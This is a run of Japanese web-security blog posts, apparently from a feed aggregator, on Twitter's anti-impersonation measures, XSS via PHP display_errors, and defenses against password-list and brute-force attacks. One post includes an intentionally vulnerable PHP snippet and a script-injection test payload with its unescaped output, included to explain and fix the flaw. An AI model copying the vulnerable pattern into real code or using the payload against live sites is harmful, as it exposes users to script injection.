ちゃんと対応していますね。随分素っ気ないレスポンスですが、攻撃者に対してこれでよいのでしょう。
簡単にDNSリバインディング対策する方法として、Apacheのバーチャルホスト機能を使う方法があります。
NameVirtualHost *:80
# ダミーのバーチャルホスト
<VirtualHost _default_:80>
DocumentRoot /var/www/dummy
ErrorDocument 404 /index.html
</VirtualHost>

# 本番のバーチャルホスト
<VirtualHost>
ServerName www.example.jp
# 以下略
VirualHostで _default_ を指定することで、「その他の」Host指定に対するリクエストをここに集めることができます。通常はエラー表示を出すようにしておけばいいでしょう。

クッキーモンスターバグ

以前のエントリ「クッキーモンスターバグがあると、IPアドレス偽装防止のCSRF対策が回避される」にて、地域型JPドメイン名や都道府県型JPドメイン名(などクッキーモンスターバグのおこるドメイン名)を使うと、トークンによるCSRF対策が回避されると説明しました。認証のあるサイトでも、前項と同じように攻撃者のアカウントでログインさせて、利用者(被害者)のリモートIPアドレスで「犯行予告」を書き込みできる場合があります。詳しくは、先のエントリをご覧ください。
では、twitterはどうかというと、.comドメイン名なので、クッキーモンスターバグの影響はない、すなわち大丈夫です。

まとめ

twitterを題材として、「なりすまし投稿対策」がどのように実施されているかどうかを調べました。
まとめると以下の通りです。
  • トークンによるCSRF対策
  • XSS対策(脆弱性報告者の表彰)
  • HTTPヘッダーインジェクション対策(あるいは該当箇所なし)
  • クリックジャッキング対策(下記)
    • X-FRAME-OPTIONSヘッダの送信
    • P3Pコンパクトポリシーを送信しない
    • JavaScriptによるクリックジャッキング対策
  • Hostヘッダのチェック
  • クッキーモンスターバグの影響を受けないドメイン名の採用
なりすまし投稿が重大な影響を及ぼす場合、twitterの取り組みが参考になるでしょう。
一方、以下のような場合はtwitterによるなりすまし投稿があり得ます。こちらは利用者が気をつけるしかなさそうです。
  • 利用者がフィッシング詐欺に引っかかってIDとパスワードを盗まれた場合
  • 悪質なtwitterアプリの連携を利用者が許可してしまった場合
  • 使用しているtwitterアプリに脆弱性があり、悪用された場合

PHPのdisplay_errorsが有効だとカジュアルにXSS脆弱性が入り込む

$
0
0
先に、「CVE-2008-5814を巡る冒険」にて、CVE-2008-5814脆弱性があるとdisplay_errorsがOnの環境下でXSS脆弱性となる場合があることを説明しました。しかし、display_errorsがOnの環境下ではCVE-2008-5814脆弱性がなくても、XSS脆弱性となる場合がしばしばあります。
これは、display_errorsによるエラーメッセージ表示がHTMLエスケープされていないことが原因です。簡単なサンプルを以下に示します。
<?php
  ini_set('display_errors', 1); // display_errorsを有効にする
  $a = array(); // 配列の生成
  $index = $_GET['x']; // 配列のインデックスを得る
  $b = $a[$index]; // 配列の要素にアクセス
このスクリプトに、x=<script>alert(1)</script> というクエリ文字列をつけて呼び出すと下記の表示になります(error_reporting設定でE_NOTICEが有効になっている場合です。E_NOTICEはphp.ini上の設定がない場合は無効ですが、多くのphp.ini設定では有効となっています)。


この際のHTMLソースは以下の通りです。
Notice: Undefined index: <script>alert(1)</script> in /var/www/de.php on line 5
Undefined indexとして、外部から与えたパラメータが「そのまま」(HTMLエスケープされずに)出力されています。 

PHPの脆弱性なのか?

これはPHPの脆弱性なのでしょうか。CVE-2008-5814が脆弱性なのであれば、こちらも脆弱性と見るべきだと思います。そうしないと辻褄があいません。 
一方、display_errorsはデバッグ用の設定なのだから、本番環境に適用する方が悪いという意見もあるでしょう。この立場に立てば、上記はPHPの脆弱性ではないという見方もあり得ます。その場合は、CVE-2008-5814も(実は)脆弱性ではないとしなければなりませんが…
しかし、仮にPHPの脆弱性でないとしても、display_errorsによるエラー表示はHTMLエスケープすべきだと考えます。そうしないと、正しい表示にならないからです。
先の例では、Undefined indexとして表示すべき内容は、<script>alert(1)</script> という文字列であって、JavaScriptの実行ではありません。display_errorsによるエラー表示はHTMLエスケープしなければ、正しい表示にならない場合があります。すなわち、HTMLのエスケープ漏れはPHPの仕様上の不具合と言えます。そして、仕様上の不具合(バグ)が環境依存とはいえ脆弱性になり得るとすれば、結局PHP自体の脆弱性と言わざるを得ないと徳丸は考えます。

プログラミングでなんとかならないのか?

配列の未定義のキーによるアクセスを防ぐこと自体は難しくありません。たとえば、array_key_exists関数を使って、キーの存在を事前に確認する方法。
$b = array_key_exists($index, $a) ? $a[$index] : null;
同じくisset()を使う方法。
$b = isset($a[$index]) ? $a[$index] : null;
エラー制御演算子(@)を使ってエラー表示を抑止する方法。
$b = @$a[$index];
すべての箇所で上記を徹底すれば、Undefined indexの警告によるXSSは防げるはずです。しかし、その他のエラー・警告も含め、すべてを漏れなくなくすことは難しいため、display_errorsはやはり無効にすべきです。

display_errorsは本番環境ではOffにしよう

従来から、セキュリティ上の理由からデバッグ目的のエラー表示は抑止すべしと言われています。その主な理由は下記の通りです。
  • デバッグ用のエラーメッセージが攻撃者にとってヒントになる場合がある
  • エラーメッセージを通じて情報漏洩させる手口がある(→参考
  • そもそもユーザフレンドリでないし、みっともない(セキュリティ上の理由ではない)
加えて、クロスサイトスクリプティングという具体的な脅威になり得ると言うことです。一般論としても、エラー画面にはクロスサイトスクリプティング脆弱性が生じやすいという経験則があります。よって以下にお気をつけ下さい。
  • display_errorsなどデバッグ用のエラー表示は本番リリース前にオフにする
  • エラー表示は利用者向けに必要最低限の表示にとどめ、問題解決用の情報はログとして出力する
  • エラーメッセージにはクロスサイトスクリプティングが入りやすいので注意(と言っても、特別なことをするわけではなく、エラー表示だからと言って手を抜かずにHTMLエスケープしろということです)

eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策

$
0
0
eBook Japanに対する不正アクセスについて、詳細の発表があり、いわゆる「パスワードリスト攻撃」であることが発表されました。
  • 前回のご報告までは「複数のIPアドレスからログインページに対して機械的に総当たり攻撃等を行う大量アクセス行為(ブルートフォースアタック)」とご説明しておりましたが、詳細調査の結果、「不正の疑われる複数のIPアドレスからログインページに対して、予め持っていたログインIDとパスワードの適用可否を試行する大量アクセス行為」であることが判明いたしました。
  • つまり、大量アクセス行為を仕掛けてきた者は、当社以外の他のサービスなどで他のサービスのログインIDとパスワードを不正に入手し、ユーザーがログインIDとパスワードを共通に設定している可能性を狙って当社サービスに不正にログインしようとし、上記件数についてはログインに成功してしまったということです。
  • そのように判断した根拠は、一つのログインID(メールアドレス)について試行するパスワードの数の少なさです。
【重要なお知らせ】不正ログイン被害のご報告とパスワード再設定のお願いより引用
これに続いて、攻撃されたIDの数と、試行されたパスワードの数が発表されています。元資料を少し加工した表を以下に示します。
原注) 1つのログインIDについてPWを試行した回数は最大5回までであり、1回しか試行していないのに正当したアカウントが半数近くを占めている。
原注) 1つのログインIDについてPWを試行した回数は最大9回までであり、1回だけで断念しているアカウントが9割を占めている。

これらの表から、パスワードの試行回数は合計2821回、ログイン成功したIDは 779個ですから、成功率は約27.6%となります。4分の1を少し超える「打率」は、パスワードに対する攻撃としては驚異的です。
奥一穂さんから指摘をいただました。無関係のサイトからのリストで、4分の1超のIDが重複することが不自然なので、上記「ログイン失敗分」とは、ログインには成功していないがIDとしては同じものが存在するもの、などのフィルタリングが入っているのではないか、とのことです。その可能性はありますが、発表資料にそのような記載はないので、この記事はそのままとし、可能性の言及にとどめます(9:03追記)。

また、攻撃者が同一IDに対して最大9個のパスワードを試していることも興味深い。断定はできませんが、9以上のサイトから流出したIDとパスワードを組み合わせて攻撃に用いていると考えるのが自然でしょう。既に、ブラックマーケットなどで、この種のリストが流通している可能性もあります。
今年に入り、eBook Japan以外にも、パスワードリスト攻撃が疑わしい事例は多数あります。利用者側とサイト側で、とれる対策を以下に説明します。

利用者側の対策

パスワードリスト攻撃の場合、一番悪い当事者はパスワードを漏洩したサイトであるわけですが、漏洩元も分かっておらず責任を追及することも難しいので、利用者側で、サイト毎に異なるパスワードをつけることで自衛するのが賢明でしょう。加えて、最低8文字で、辞書に載っている単語そのもの、ログインIDと同じパスワード、サイト名やサービス名をパスワードとして使うことなどは避けましょう。

サイト側の対策1(パスワードリスト攻撃から利用者を守る)

パスワードリスト攻撃対策として、サイト側で簡単にとれるものは残念ながら思いつきません。eBookJapanの発表では、「同一のIPアドレスからログインフォームへのアクセスに制限をかけました。」とあります。これは被害の緩和策としては有効ですが、打率が4分の1を超えると想定すると、アクセス制限が掛かる前に、ある程度の攻撃は成立してしまいそうです。
効果的な対策としては、Googleなどが実施している2段階認証があります。サイト側も利用者側も負担がありますが、パスワードリスト攻撃への効果は十分です。
利用者側の負担の少ない方法としては、リスクベース認証があります。リスクベース認証の例として、郵貯ダイレクトの例を引用します。

パスワードリスト攻撃は、「普段と異なるアクセス環境」からログインしてくるので、その場合パスワードとは別の手段で認証を要求するわけです。
※ゆうちょダイレクトの場合は、パスワードを入力する前にアクセス環境を判断しますが、IDとパスワードで認証してからアクセス環境を判断する実装もあります

アクセス環境の判断材料としては、ISP(特に地域)、ブラウザや端末の種類、アクセスの時間帯などがあります。また、上図の「合言葉」の代わりに、登録済みのメールアドレスにトークン(6桁程度のランダムな数字)を送信して、画面入力してもらってもよいでしょう。

あるいは、2段階認証やリスクベース認証を実装ずみの認証プロバイダを活用することも有力な解決策です。以下は、ガンホーゲームズのログイン画面です。
ガンホーの場合独自のパスワード認証も使えますが、OpenIDで会員登録する場合はガンホー独自のパスワードを設定する必要はありません。これにより、独自のパスワードを管理する負荷を減らし、認証の安全性を高めることができます。

また、地味ですが、サイトの負荷などの監視も重要です。eBookJapanの場合も、攻撃に気づいたきっかけはサイトの負荷急増でした。加えて、パスワード試行回数や認証失敗の回数・率なども監視するとよいでしょう。

サイト側の対策2(パスワードそのものの保護)

ユーザのパスワードを預かるWebサイトの責務として、パスワードの保護も重要です。最低でもソルトつきハッシュ、できればストレッチングを追加して保護したいところです。詳しくは、徳丸の過去記事本当は怖いパスワードの話を参照下さい。

まとめ

最近急増しているパスワード認証に対する攻撃の例として、eBookJapanに対するパスワードリスト攻撃について紹介しました。自サイトで脆弱性対処をしっかりやっていても、他サイトで漏洩したIDとパスワードを悪用されると、対策が難しくなります。
 以下の対策を推奨します。
  • 利用者は、自衛のためサイト毎に異なるパスワードを設定する
  • サイト運営者は、2段階認証やリスクベース認証の導入を検討する
  • 自力で高度な認証の実装が困難な場合は、外部認証の導入を検討する
  • パスワード設定画面に、他サイトとは異なるパスワードをつけるように注意喚起する(追記)
  • IPアドレス単位で認証試行回数や認証失敗回数によるアクセス制限を行う(緩和策として追記)
  • サイトの負荷、ログイン試行数、ログイン失敗数などの監視を実施する
  • パスワードの漏洩に備えて、パスワードの保護(ソルトつきハッシュ、ストレッチング)を導入する

パスワード攻撃に対抗するWebサイト側セキュリティ強化策

$
0
0
Webサイトのパスワード認証を狙った攻撃が大きな脅威になっています。
これらの事例のうちいくつか(あるいは全て)は、別のサイトで漏洩したIDとパスワードの一覧表を用いた「パスワードリスト攻撃(後述)」であると考えられています。パスワードリスト攻撃を含めて、パスワードを狙った攻撃が成立してしまう原因は、利用者のパスワード管理に問題がある場合が多く、攻撃を受けたWebサイト側には、直接の責任はないケースが多いと考えられます。
しかしながら、
  • 大半の利用者はパスワード管理に興味がない
  • パスワード認証を採用している理由は、コスト上の理由、すなわちサイト側の経済的な事情
  • インターネットが「とても危険なもの」となるとネットビジネスが成り立たなくなる
ということを考えると、Webサイト側でも、パスワード認証の安全施策を講じる必要性が出て来ます。 このエントリでは、パスワードに対する攻撃手法を紹介しながら、その対策について紹介していきます。

ブルートフォースアタック(Brute force Attack)

ブルートフォースアタック(総当たり攻撃)とは、その名の示すように、パスワードを力任せの総当たりで試す方法です。下図は、ログインIDをtanakaで固定して、パスワードを4文字英小文字全てのパターンを試す場合を図示したものです。


英子文字4文字のパスワードのパターンが何通りあるかというと、26 ^ 4 = 456,976通りです。1秒間に10個のパスワードを試せたとして、この全てのパターンを試すには、約13時間で終了することになります。これは現実的な脅威ですので、通常は以下で対処をします。
  • パスワードに使える文字種と文字数を増やす
現状よく使われている8文字英数字(大文字と小文字を区別)のパスワードですと、(26 + 26 + 10) ^ 8 = 218,340,105,584,896 パターンありますので、先ほどと同じ条件だと、
218,340,105,584,896 ÷ 10 ÷ 3600 ÷ 24 ÷ 365 = 692,352 年

約69万年を要することになります。平均するとこの半分で破られることになりますが、十分な強度ですね。
先に紹介したgooは、かつては4文字のパスワードを許容していたようです。現在でもその痕跡をヘルプ画面に見つけることができしました。
4. ログインパスワードの設定
gooIDに対応するログインパスワードを設定します。gooIDでご利用いただけるサービスを利用するにはgooIDとログインパスワードの両方が必要になります。ログインパスワードは英数字の4文字以上のものを使う必要があります。このパスワードは大切に保管し、忘れないようにしてください。
gooID登録・変更・削除 – gooヘルプより引用(強調は引用者)
脆弱性診断の実務では、「4文字の(短い)パスワードをつけることができる」ということを脆弱性だと指摘する事業者もありますが、本来は「たとえ短いパスワードをつけられたとしても、短いパスワードが原因で不正アクセスされたら利用者の自己責任」ということで、狭義の脆弱性ではないと考えます。
しかし、前記のような事情があるため、近年では利用者のつけるパスワードに積極的に介入するサイトが増えています。ちなみに、gooの現在のパスワードポリシーは、「8文字以上~32文字以下で、英字・数字・記号のうち、いずれか2種類の文字種を必ず混在」となっています。

辞書攻撃

ブルートフォースアタックはあまりに効率が悪く、成功確率も低いことから、「利用者がパスワードとして使いがちな単語」を辞書として登録しておき、パスワード試行する方法が考案されました。これが辞書攻撃(Dictionary Attack)です。
辞書攻撃のイメージを以下に示します。ここでは、ログインIDをtanakaで固定して、パスワードとしてpassword、qwerty、123456…など、「使いがちなパスワード」を順に試していきます。


「辞書」のサイズはさまざまでしょうが、数十から数千くらいと推測されます。ペネトレーション検査等では数千以上の「大きな辞書」を使いますが、実際の攻撃では、1つのIDでちょっと試して、だめだったら次のIDで試した方が効率的のような気がします(攻撃対象が誰でも良い場合)。

辞書攻撃の対策としては、アカウントロックがあります。パスワードの失敗が連続して数回~十数回失敗した場合、当該のアカウントをしばらく(30分~1時間程度)ロックするというものです。
アカウントロックは有効な防御策ではありますが、利用者が「password」や「123456」などの非常に悪いパスワードをつけている場合まで防御できるわけではありません。通常、辞書攻撃は、利用頻度の高いパスワードから順に試すからです。利用者が、とても弱いパスワードを設定している場合、ロックがかかる前にパスワード試行が成功する可能性が高くなってしまいます。

リバースブルートフォースアタック

攻撃対象の利用者が誰でも良い場合、辞書攻撃に用いる辞書のサイズは小さいほうが効率が良いと書きましたが、その究極形として、「1語しかない辞書」を使う攻撃を考えます。たとえば、辞書に「password」1語だけが載っているとして、パスワードはpassword固定で、ログインIDの方法を次々に変えながらパスワード試行する形となります。このような攻撃をリバースブルートフォースアタックと呼びます(下図)。

リバースブルートフォースアタックは、日本で逮捕者が出た事件があります。
調べでは、○○容疑者は昨年11月、「総当たり攻撃」用プログラムを使って検索した9人分のIDでジェット証券のHPに不正に接続した疑い。 同社ではパスワード(PW)入力を複数回間違えると、アクセスできなくなるが、PWを適当な4けたに固定し、IDだけを変える手口を使っていたため、ロックされなかった。
(2007/03/15 13:06)
産経WEB http://www.sankei.co.jp/shakai/jiken/070315/jkn070315007.htm
リンク先削除済みのため、2chより孫引き
上記にもあるように、リバースブルートフォースアタックは単純なアカウントロックが有効でないため、対策が難しくなります。
リバースブルートフォースアタックの場合、固定したパスワードは、利用頻度の高いパスワードが使われると予想されます。このため、利用者のパスワード設定時に、パスワード辞書による確認をするサイトが出てきました。従来から、文字種や文字数をチェックするサイトは珍しくありませんが、たとえこれらのポリシーを満たしたパスワードであっても、「password」や「123456」などの弱いパスワードは辞書で確認して弾いてしまうというものです。
この試みの先駆的な例としては、twitterがあります。また、最近確認したところでは、facebookやGoogleも、辞書によるパスワードチェックをしているようです。下図は、facebookのパスワード変更画面にて、「password1」というパスワードを設定しようとしてエラーになっている様子です。

「辞書にある単語はパスワードとして使えません」というエラーメッセージが表示されているので、辞書による確認をしていることが明らかです。
本来は、この種の「弱いパスワード」を避けることは利用者の責任ですが、サイト運営者側で、弱いパスワードを排除する動きが進んでいます。

ジョーアカウントへの攻撃

ユーザID(ログインID)と同じパスワードを使っているアカウントのことを俗に「ジョーアカウント(Joe account)」と呼ばれます。もっとも脆弱なパスワードと言われる一方で、ジョーアカウントという名前がついているくらいですから、一定の割合で使っている人がいると言われます。ジョーアカウントへの攻撃のイメージを下図に示します。
ジョーアカウントへの攻撃を避けるには、パスワード設定時に、ログインIDと同じパスワードをつけさせないようにチェックすることが確実です。こちらは、従来から実施しているサイトが多いですね。

パスワードリスト攻撃

冒頭にも紹介したように、現在問題となっているパスワード試行攻撃がパスワードリスト攻撃です。これは、攻撃対象とは別のサイトから得たIDとパスワードの一覧(パスワードリスト)を、別のサイトで試してみるという攻撃方法です。一定の割合で、1つのパスワードを使い回しているユーザがいることから、効率よくパスワードを破ることができると思われます。パスワードリスト攻撃の事件例については、『eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策』に詳しく説明しましたので参照下さい。
下図は、パスワードリスト攻撃を模式的に説明したものです。左側のピンクのDBが、脆弱性をもつサイトの会員DB、右側の水色のDBが、攻撃対象の会員DBです。
攻撃者は、まず左側の脆弱なサイトをSQLインジェクション等で攻撃して、会員DBからIDとパスワードの一覧(パスワードリスト)を抜き取ります。次に攻撃者は、このパスワードリストに載っているIDとパスワードを、攻撃対象に順に試していきます。下図では、ログインID: yamadaが、パスワード qw3z として一致しているため、ログインに成功する様子を示しています。


攻撃者にとってパスワードリスト攻撃を用いる動機と背景は以下のようなものだと推測されます。
  • 攻撃対象サイトには価値の高い情報や、金銭的な利益を得る手段がある
  • 攻撃対象サイトにはSQLインジェクション等の脆弱性は見あたらない
  • 攻撃対象と利用者が重なる「脆弱なサイト」があり、そこからIDとパスワードの一覧が入手可能
  • 両サイトで、同じIDとパスワードを使っているユーザが一定確率で存在する
パスワードリスト攻撃は、2010年後半から主にオンラインゲーム業界で報告され、「リスト型アカウントハッキング」と呼ばれています(「パスワードリスト攻撃」はIPAの使っている呼称です)。以下はガンホーのリリースの引用です。
【重要】アカウントハッキングにご注意ください。
2010/11/16
既に報道されておりますが、オンラインゲームを提供している他サービス会社においてIDおよびパスワードを始めとする会員情報の一部が不正アクセスの影響により流失したとの情報を確認いたしました。
これにより、不正に入手したIDおよびパスワードのリストを利用した「リスト型アカウントハッキング」が行われる可能性がございます。
【重要】アカウントハッキングにご注意ください。 - ガンホーゲームズ-無料で遊べるオンライン遊園地!
より引用(強調は引用者)
パスワードリスト攻撃は、オンラインゲーム以外にも一部攻撃が行われていたようですが、ここに来て一挙に攻撃の報告例が増えている状況です。パスワードリスト攻撃については、ここまで説明してきた「対策」が有効ではない点が悩ましいところです。

パスワードリスト攻撃の対策

冒頭で説明したように、パスワードリスト攻撃を受けて不正アクセスされた場合でも、攻撃を受けたサイトの責任とはいえません。この問題については、株式会社ラックCTO専務理事の西本氏による寄稿『危険な「パスワード使い回し」 不正アクセス防ぐのは消費者自身』も参考になります。しかしながら、これも冒頭に説明したように、ネットの安全性が崩れると、ネット上のビジネス自体が立ち行かなくなるという事情もあるため、サイト側での防御も進んできています。以下、パスワードリスト攻撃を含むパスワードに対する攻撃への防御策について説明します。

(1)2段階認証(2要素認証)
2段階認証とは、IDとパスワードの認証に加えて、もう一つの認証手段を追加するものです。パスワードが漏洩しても、2段目の認証を求めることで、不正アクセスを防ぎます。従来からネットバンキングなどではワンタイムパスワードのトークンなどで対応している銀行がありましたが、ネットサービスでも採用するところが増えています。
以下は、Googleで2段階認証を有効にして、IDとパスワードで認証した直後の画面です。

コードを入力というプロンプトが表示されているので、ここで「確認コード」を入力します。確認コードを得る方法としては、携帯電話のキャリアメール、スマートフォン向けのアプリ、音声電話が用意されています。以下は、iPhone上で動くGoogle認証システムというアプリケーションの画面です。



6桁の数字が3つ見えていますが、上から、Googleアカウント用のもの、LastPassというパスワード管理ソフトの確認コード、Microsoft(live.com)ようのものです。この例では、「258803」をWeb画面上に入力することになります。
また、確認コードの入力欄の下に「このパソコンでは今後、コード入力ウィンドウを表示しない」というチェックボックスがありますが、これをチェックすることにより、同じブラウザからのログインであれば、確認コードなしで認証するようになります。Cookieに認証済み端末であることを保存するのでしょうね。
2段階認証を採用しているサイトの例として、以下があります。
  • Google
  • facebook
  • ヤフー!
  • Dropbox
  • Microsoft (live.com)
  • Apple (米国より展開中)
  • twitter(テスト中)
  • Evernote(対応を表明)

(2)リスクベース認証
2段階認証は、パスワードリスト攻撃だけでなく、フィッシングなど他のパスワードに対する攻撃にも有効な強力な認証方式ですが、利用者の負担が少し大きいという課題があります。このため、2段階認証を少し緩めた方式としてリスクベース認証があります。これは、普段はパスワードのみの認証だが、通常と違う状況で認証を試みた場合、パスワード以外の情報を求めるというものです。

※17:20追記:
フィッシングに対してはリスクベース認証や2段階認証の効果は限定的ですので、「フィッシングなど」を削除し、「他のパスワードに対する攻撃」に改めました。フィッシングに対しては、中間者攻撃により、トークンを含めて利用者に入力させる攻撃が原理的に可能です。
※追記終わり

状況の変化を何で判断するかですが、一般的に以下が用いられるようです。
  • 従来と異なる端末(ブラウザ)
  • ISP(特に地域)
  • ログインの時間帯
  • ブラウザ(User-Agent)
  • 不自然な行動(東京でログインした5分後に大阪でログインした等)
また、追加の情報としては以下が用いられます。
  • 登録済みメールアドレスに送信したトークン(6桁程度の乱数)
  • facebookの“友達当てクイズ
  • 「秘密の質問」に対する答え
  • 事前に登録した「合い言葉」
個人的には、トークンがお勧めです。「友達当て」は本人にも分からない場合や、攻撃者がたまたま知っている可能性があります。「合い言葉」は、固定の文字列なので漏洩リスクがあるからです。追加情報としてトークンを使う場合、2段階認証に近い形になりますが、
  • 平常時はパスワード認証と変わらないので利用者の負担が軽い
  • 2段階認証と比べて、リスク判定処理が加わる分、実装の負担が重い
という違いがあります。
リスクベース認証は、近年オンラインバンキングの認証強化手段として採用する銀行が増えています。三菱東京UFJ銀行(説明)、みずほ銀行(記事)、りそな銀行(説明)、ゆうちょ銀行(説明)など主要行を始め、地銀などでも導入が進んでいるようです。
しかし、最近、リスクベース認証に用いられる「ワンタイムパスワード」が、ウイルスによって盗聴される事件が起こっているようです。
しかし、今年になり、ワンタイムを使った被害が確認された。被害に遭った複数の利用者のPCから、ワンタイムを盗み取る機能を持つウイルスが見つかったという。利用者の知らないうちにワンタイムが使われ、送金されていた。
朝日新聞デジタル:ネット口座不正送金、急増 使い捨てパスワードで被害もより引用
PC内にウイルスが入っているという時点で深刻な事態であり、Webアプリケーション側での被害軽減策は非常に難しいのですが、ワンタイムパスワードを受け取る端末をPCとは別にする(携帯電話など)ことや、ハードウェアトークン(ワンタイムパスワード生成器)を用いることで、被害に合いにくくすることは可能です。

(3)ログイン処理の監視
報道されている事件の多くが、パスワードの攻撃によってサーバー負荷が急増したことにより異常に気づいたとされています。このため、以下をリアルタイム監視することにより、攻撃を早期に発見して、被害を最小限に食い止められる可能性があります。
  • パスワード試行の回数
  • パスワード間違いの回数
  • パスワード間違いの率
しかしながら、負荷を急増させたのは攻撃側が功を焦った印象もあり、「ゆっくり攻撃」した場合、なかなか攻撃に気づけないという可能性もあります。ログイン処理の監視はぜひ実施した方がよいとは思いますが、攻撃発見の決め手とはならないと考えます。

(4)ログイン履歴の確認機能
利用者が、自分のログイン履歴を確認することにより、異常がないか確認するというものです。以下はヤフー!の提供しているログイン履歴の一部です。画面のさらに右側には、アクセス元(逆引きホスト名)、認証形式(再認証、ワンタイムパスワードなど)、入力IDが続きます。


(5)パスワードの保護
万一のパスワード情報の漏洩に備えて、パスワードを安全な形で保存することも重要です。最低でもソルトつきハッシュ、できればストレッチングを加えてパスワード情報の漏洩に備えましょう。詳しくは、拙稿「本当は怖いパスワードの話」を参照ください。

対策のまとめ

ここまで説明したパスワード認証の安全施策をいったんまとめます。
  • パスワードに使える文字種と文字数を増やす
  • アカウントロック
  • パスワードの辞書チェック
  • ジョーアカウントのチェック
  • 2段階認証
  • リスクベース認証
  • ログイン処理の監視
  • ログイン履歴の確認機能
  • ソルト、ハッシュ、ストレッチングによるパスワードの保護
このフルセットを全部実現するのは中々大変そうです。2要素認証やリスクベース認証を実現する商用製品もありますが、それなりの費用が掛かります。
そこでお勧めしたいのが、外部の認証プロバイダを活用するというアイデアです。

外部認証の勧め

ここまで説明してきたように、パスワード認証の安全性を高める施策は色々あるものの、それらをフルセットで実装することはかなり大変です。つまりコストが掛かります。このため、既にこれらを実装済みの外部認証ブロバイダを利用することも、有力な対策と考えられます。
以下は、ガンホーのログイン画面ですが、引用画像の下半分に「ID連携(OpenID)を利用する」とあるように、ガンホー独自の認証システムだけでなく、GoogleやYahoo!などの外部認証プロバイダを利用できます。


OpenID対応サイトの中には、OpenIDでもログインできるが独自のIDとパスワードの登録も必要な場合が多いのですが、ガンホーの場合はガンホーにパスワードを登録しなくてもOpenIDだけで会員登録できます。これを一歩進めて、独自のパスワード登録を捨てて、OpenIDのみに対応するという考え方もあります。すなわち、「OpenIDでログインできるサイト」には以下の3種類があることになります。
  • OpenIDを使う場合でも独自のIDとパスワードの登録が必要なサイト(remember the milkなど)
  • 独自のIDとパスワードもあるが、OpenIDを使う場合は、独自のIDとパスワードの登録は必要ないサイト(ガンホーなど)
  • OpenIDのみに対応しており、独自のパスワード管理をしていないサイト(旧ATNDなど)
現在はまだ多くありませんが、OpenID(など外部認証)のみのサイトの場合、パスワードを独自に管理しないので、パスワード漏洩のリスクもありませんし、パスワードのハッシュ値での保存や、パスワード変更、パスワードリセットなどパスワード管理の機能も認証プロバイダにすべて任せることができます。

まとめ

パスワードに対する攻撃の急増を受けて、Webサイト側でとれる対策についてまとめました。
繰り返しますが、パスワード認証の機能設計で、本当に必須の要件は以下だけです。
  • 安全なパスワードをつけられること(例: 8文字のパスワードを設定できる)
  • SQLインジェクションなどの脆弱性をなくすこと(要件以前の当然の内容)
前述のように、8文字英数字のパスワードでも、利用者の工夫次第では十分安全なパスワードをつけることができます。このため、上記以外の要件はすべて「オプション」であり、これらがないから直ちに脆弱性というわけではありません。

しかしながら、「パスワード管理は利用者の責任」というタテマエだけでは、ネットの安全性を保つことはできなくなってきているのが現状です。みなさまのWebサイトの安全性強化のために、本稿で紹介したようなセキュリティ機能の強化をお勧めします。


あわせて読みたい

Viewing all 194 articles
Browse latest View live